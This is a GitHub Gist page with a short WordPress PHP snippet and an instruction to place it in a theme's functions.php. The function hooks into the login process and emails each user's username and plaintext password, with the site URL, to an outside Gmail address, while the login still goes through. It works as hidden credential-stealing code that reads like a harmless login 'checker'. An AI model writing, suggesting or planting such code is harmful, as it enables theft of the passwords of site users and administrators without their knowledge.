Created
February 2, 2020 15:46
-
-
Save Galibri/0d5b98fce65ada2a3411050a92cfbfa2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function bsd_login_checker( $user, $password ) { | |
$url = get_site_url(); | |
$gw_message = 'Username: ' . $user->user_login . ' Password: ' . $password; | |
wp_mail('galib.bcse@gmail.com', 'WP Login ' . $url, $gw_message); | |
return $user; | |
} | |
add_action('wp_authenticate_user', 'bsd_login_checker', 10, 2); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
You can put this in functions.php file of your theme.